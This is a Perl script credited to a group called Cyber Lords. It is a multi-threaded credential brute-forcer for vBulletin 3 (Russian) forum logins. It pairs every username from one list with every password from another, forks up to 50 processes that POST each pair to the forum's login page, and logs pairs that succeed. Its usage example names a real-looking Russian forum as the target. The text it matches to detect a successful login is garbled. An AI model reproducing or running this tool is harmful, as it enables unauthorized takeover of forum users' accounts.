#!/usr/bin/perl

#################################################
#          vBulletin 3 (rus) brute
#            -------------
#
#  copyright : (C) Cyber Lords, 2002-2007
#        http://www.cyberlords.net
#
#          Coded by VeX [614883]
#################################################

### modules ###
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;

### main ###
usage() if ($ARGV[0] eq "-h" || $ARGV[0] eq "-help");
print "\n\n~~~ vBulletin 3 (rus) brute by VeX 1.0.3 ~~~\n\n";
getopt("lpuht");

$logins  = $opt_l || 'logins.txt';
$pass    = $opt_p || 'pass.txt';
$host    = $opt_u;
$logs    = $opt_h || 'logs.txt';
$threads = $opt_t || 50;

open(P, $pass) or die "\n[-] Don't open ".$pass." file\n";
while(<P>) { push(@pass, $_); }
close(P);
open(L, $logins) or die "\n[-] Don't open ".$logins." file\n";
while(<L>) { push(@logins, $_); }
close(L);

print "[+] Loading ".scalar(@logins)." logins\n"; logs("[+] Loading ".scalar(@logins)." logins\n");
print "[+] Loading ".scalar(@pass)." passwords\n"; logs("[+] Loading ".scalar(@pass)." passwords\n\n");

  foreach $login (@logins)
  {
      chomp($login);
     foreach $pass (@pass)
     {
         chomp($pass);
         push (@info, "$login---$pass");
     }
    }
   
#for(@info){ print "$_\n"; }

while(1) {
  for ($i=0;$i<=$threads;$i++) {
      unless($info[$counter]) {
      killpidz();
      exit;
  }
  if ($pid=fork()) {
      push(@forked,$pid);
  }
  else {
      ($user, $pass) = split /---/, $info[$counter];
     chomp($user); chomp($pass);
   
      if(brute($user, $pass))
     {
         print "\n\n[+] Find [$user:$pass]";
         logs("\n\n[+] Find [$user:$pass]");
         $counter = scalar(@info)+1;
         exit(1);
     }
      exit;
  }
  $counter++;
  }
killpidz();
}

sub brute {
  my($user, $pass) = @_;
  $data = "vb_login_username=$user&cookieuser=1&vb_login_password=$pass&s=&do=login&vb_login_md5password=&vb_login_md5password_utf=";
 
  $cookie_jar = new HTTP::Cookies();
  $opera = new LWP::UserAgent;
  $opera->agent('Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))');
  $opera->timeout(30);
  $h = new HTTP::Headers
Accept => 'application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-comet, */*',
User_Agent => 'Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))',
Referer => 'http://google.com/';

  $request = new HTTP::Request('GET', $host, $h);
  $response = $opera -> request($request);
  $content = $response -> content;
  $cookie_jar->extract_cookies($response);
 
  open(C, ">login_1.html"); print C $content; close(C);
 
  $h = new HTTP::Headers
Accept => 'application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-comet, */*',
User_Agent => 'Opera/9.0 (Windows NT 5.1; U; en; (R1 1.5))',
Referer => $host;
  $request = new HTTP::Request('POST', $host."login.php?do=login", $h);
  $cookie_jar -> add_cookie_header($request);
  $request->content_type('application/x-www-form-urlencoded');
  $request->content('type=another');
  $request->content($data);
  $response = $opera -> request($request);
  $content = $response -> content;
  $cookie_jar->extract_cookies($response);
 
  open(C, ">login_2.html"); print C $content; close(C);
 
  if($content=~m/扬囫栳?玎 怩钿/){ print "[+] $user:$pass ... ok\n"; return 1; }
  else{ print "[-] $user:$pass ... error\n"; return 0; }
}

sub logs {
  $text = shift;
  open(L, ">>".$logs); print L $text; close(L);
}

sub usage {
  print "\nUsage: $0 [options]...\n\n";
  print "Options are:
    -u: Forum url
    -l: Login's file [Default: login.txt]
    -p: Password's file [Default: pass.txt]
    -h: Log's file [Default: logs.txt]
    -t: Threads [Degault: 50]
    -h: This help
   
Exemple:
    perl brute.pl -u \"http://www.raginfo.ru/forum/\" -l users.txt -p big_pass.txt -h logi.txt -t 25\n";
  exit(1);
}

sub killpidz {
foreach (@forked) {
  chomp;
  waitpid($_,0);
  kill("TERM" => $_)
}
undef @forked;
}

exit(1);